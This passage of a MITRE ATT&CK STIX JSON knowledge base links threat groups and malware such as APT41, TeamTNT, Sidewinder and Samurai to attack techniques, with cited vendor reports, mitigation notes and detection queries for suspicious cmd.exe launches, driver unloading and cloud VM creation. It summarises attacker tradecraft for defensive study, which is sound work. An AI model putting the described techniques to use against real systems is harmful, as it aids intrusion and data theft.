2018)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff4440ce-f6b6-4e59-9333-4f4a3b96a2e4","created":"2023-01-03T18:47:53.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-04T18:24:30.414Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used the Cloudflare services for C2 communications.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff471404-75be-4ebe-a585-4b6d1d27887e","type":"relationship","created":"2021-10-11T18:53:48.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T18:53:48.805Z","description":"[Bandook](https://attack.mitre.org/software/S0234) was signed with valid Certum certificates.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff495a54-08f1-4b0f-b44d-6bbeb5240225","type":"relationship","created":"2021-11-29T20:22:53.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:22:53.313Z","description":"[Pandora](https://attack.mitre.org/software/S0664) can write an encrypted token to the Registry to enable processing of remote commands.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff49e4df-4693-4df5-adf8-15e765963155","type":"relationship","created":"2021-01-27T20:39:52.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.193Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used DLL side-loading to drop and execute malicious payloads including the hijacking of the legitimate Windows application file rekeywiz.exe.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff4cd6a5-1261-4f64-9f27-3507147be7ec","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:04:42.053Z","description":"Monitor for newly executed processes that may abuse the Windows command shell for execution.\n\nNote: Try an Analytic by creating a baseline of parent processes of [cmd](https://attack.mitre.org/software/S0106) seen over the last 30 days and a list of parent processes of [cmd](https://attack.mitre.org/software/S0106) seen today. Parent processes in the baseline are removed from the set of parent processes seen today, leaving a list of new parent processes. This analytic attempts to identify suspicious programs spawning [cmd](https://attack.mitre.org/software/S0106) by looking for programs that do not normally create [cmd](https://attack.mitre.org/software/S0106).  It is very common for some programs to spawn [cmd](https://attack.mitre.org/software/S0106) as a subprocess, for example to run batch files or Windows commands. However, many processes don’t routinely launch a command prompt - e.g., Microsoft Outlook. A command prompt being launched from a process that normally doesn’t launch command prompts could be the result of malicious code being injected into that process, or of an attacker replacing a legitimate program with a malicious one.\n\nAnalytic 1 - Unusual Command Execution\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND CommandLine=“*cmd.exe*” AND (CommandLine REGEXP \"./c.*\" OR CommandLine REGEXP \".*._ \\/k.*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.320Z","description":"[APT29](https://attack.mitre.org/groups/G0016) used UPX to pack files.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff500c79-fa27-4fe3-a3c2-8c5d20031824","created":"2021-10-01T01:57:31.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Aqua TeamTNT August 2020","description":"Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.","url":"https://blog.aquasec.com/container-security-tnt-container-attack"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.718Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has leveraged iplogger.org to send collected data back to C2.(Citation: Aqua TeamTNT August 2020)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff53be5e-2a57-4a9e-a0c1-cc075c1331c4","type":"relationship","created":"2019-04-16T17:43:42.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2019-04-22T19:59:21.523Z","description":"[POWERTON](https://attack.mitre.org/software/S0371) can use WMI for persistence.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff5b6f0f-df63-4561-8c62-4894b3e424b7","type":"relationship","created":"2021-08-24T14:13:17.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:13:17.218Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) can use TCP for C2 communications.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff5d1433-de7a-4aba-95c4-5d92782589f9","type":"relationship","created":"2020-06-11T16:19:17.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.664Z","description":"(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff5d439a-c480-45cc-be0c-2fac7f786eda","created":"2024-01-09T19:24:26.822Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-09T19:24:26.822Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can leverage an exfiltration module to download arbitrary files from compromised machines.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff5db468-c3a7-4292-9a50-237cf163cb37","type":"relationship","created":"2020-03-14T22:34:03.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:15:47.998Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf","description":"F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.","source_name":"F-Secure Cosmicduke"}],"modified":"2021-07-20T21:57:36.228Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from removable media with file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff6c2e20-53c1-4840-8bc6-e404e627ad82","created":"2024-01-05T20:26:01.335Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-05T20:26:01.335Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can check for the presence and version of the .NET framework.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff6d64fb-c41c-409b-91b0-e4fb9d9edba1","type":"relationship","created":"2020-05-07T02:33:06.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Imminent Unit42 Dec2019","url":"https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/","description":"Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020."}],"modified":"2020-05-07T02:33:06.900Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a feature to disable Windows Task Manager.(Citation: Imminent Unit42 Dec2019)\t","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff6f4b5b-1b5f-4f8f-9307-345a3c278151","created":"2022-09-02T18:54:07.062Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T18:54:07.062Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used compromised web servers as part of their operational infrastructure.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff6fd36b-bc49-4df7-86f0-62b9d1fc9754","type":"relationship","created":"2020-06-09T18:31:56.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.161Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used Right-to-Left Override to deceive victims into executing several strains of malware.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ff709d3a-de60-4e1d-abd1-ad30e6837a62","created":"2022-06-09T21:14:01.292Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can collect files and information from a compromised host.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T21:14:01.292Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff746d3d-2ebe-46e9-87f6-5ddd8abbfda3","created":"2023-05-22T19:24:06.304Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-22T19:24:06.304Z","description":"During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors collected documents from compromised hosts.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff7c818b-81a0-48b2-86ea-2f95e2c3ef55","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor and analyze activity related to items associated with CPL files, such as the control.exe. Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro CPL Malware Jan 2014","description":"Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"}]},{"type":"relationship","id":"relationship--ff7ecfd6-bbe0-4fc6-9ea2-551ff2359157","created":"2022-09-16T21:30:17.171Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:30:17.171Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors modified the MaoCheng dropper so its icon appeared as a Word document.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff7f776f-001a-4c86-b359-08c89bd08b3e","type":"relationship","created":"2019-10-03T18:21:39.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:48:46.283Z","description":"Protect domain controllers by ensuring proper security configuration for critical servers to limit access by potentially unnecessary protocols and services, such as SMB file sharing.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff82342f-d79c-40be-8f5e-23e45baf2cb2","created":"2024-02-14T21:50:32.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:52:06.994Z","description":"Monitor for executed processes that may attempt to block indicators or events typically captured by sensors from being gathered and analyzed.\n\nAnalytic 1 - Indicator Blocking - Driver Unloaded\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"fltmc.exe\" AND CommandLine= \"*unload*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff8241d6-2a4c-41ea-b86d-43082ca0fb48","type":"relationship","created":"2021-01-25T13:58:25.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-03-11T23:04:39.840Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) has used a decryption routine that is part of an executable physical patch.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff876fa3-e156-4696-91a8-ad8996ace076","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AWS CloudTrail Search","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"},{"source_name":"Cloud Audit Logs","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020.","url":"https://cloud.google.com/logging/docs/audit#admin-activity"},{"source_name":"Azure Activity Logs","description":"Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.","url":"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T14:35:26.149Z","description":"The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the RunInstances event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search) (Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances create to create a VM.(Citation: Cloud Audit Logs)\n\nAnalytic 1 - Operations performed by unexpected initiators, unusual resource names, frequent modifications\n\n index=\"azure_activity_logs\" (OperationName=\"Create or Update Virtual Machine\" OR OperationName=\"Create or Update Virtual Machine Extension\")\n| stats count by InitiatorName, Resource\n| where Resource LIKE \"Microsoft.Compute/virtualMachines*\" AND (Status!=\"Succeeded\" OR InitiatorName!=\"expected_initiator\")\n| sort by Time ","relationship_type":"detects","source_ref":"x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c","target_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff87edd7-34b1-47f2-9131-dd6a47854805","type":"relationship","created":"2020-05-26T20:36:16.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T13:40:15.341Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to gather TCP and UDP table status listings.(Citation: CheckPoint Naikon May 